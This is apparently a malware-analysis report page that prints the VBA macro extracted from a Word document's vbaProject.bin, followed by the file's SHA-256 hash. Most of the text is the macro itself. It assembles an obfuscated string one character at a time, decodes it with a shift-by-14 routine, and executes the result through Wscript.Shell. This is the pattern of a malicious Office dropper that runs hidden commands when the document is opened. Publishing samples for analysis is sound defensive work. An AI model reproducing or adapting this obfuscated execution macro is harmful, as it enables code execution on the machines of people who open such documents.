ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "S" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + ">" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "‡" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "F" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "[" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "h" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "ƒ" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "]" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "v" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "y" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "S" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "r" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "v" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "T" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "g" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "x" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "p" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "ƒ" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "p" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "…" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Q" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "B" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "h" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "B" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "U" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "c" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "Z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "P" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "z" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "V" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "u" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "h" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "_" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "O" ZsGaPPYHokRMRfW = ZsGaPPYHokRMRfW + "K" sadsad BpPpNBVgGFzvLGjwwtMKyOCFaPHTBsTBerUYtAUtpjqqp = xsadwqdwqd(ZsGaPPYHokRMRfW) x (BpPpNBVgGFzvLGjwwtMKyOCFaPHTBsTBerUYtAUtpjqqp) End Sub Private Sub sadsad() End Sub Public Function x(asd As String) Set WQDWQEWQEWQ = CreateObject("Wscript.Shell") WQDWQEWQEWQ.Run asd End Function Public Function xsadwqdwqd(strInput As String) Dim n As Integer, i As Integer n = 14 For i = 1 To Len(strInput) Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n) Next i xsadwqdwqd = strInput End Function
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	25088 bytes
SHA-256: `318aeb8df58d112ff49e71c0cf71bf9bc2addd760cd8f200f434325e3a050770`

Open this report in the interactive analyzer, or submit your own file for analysis.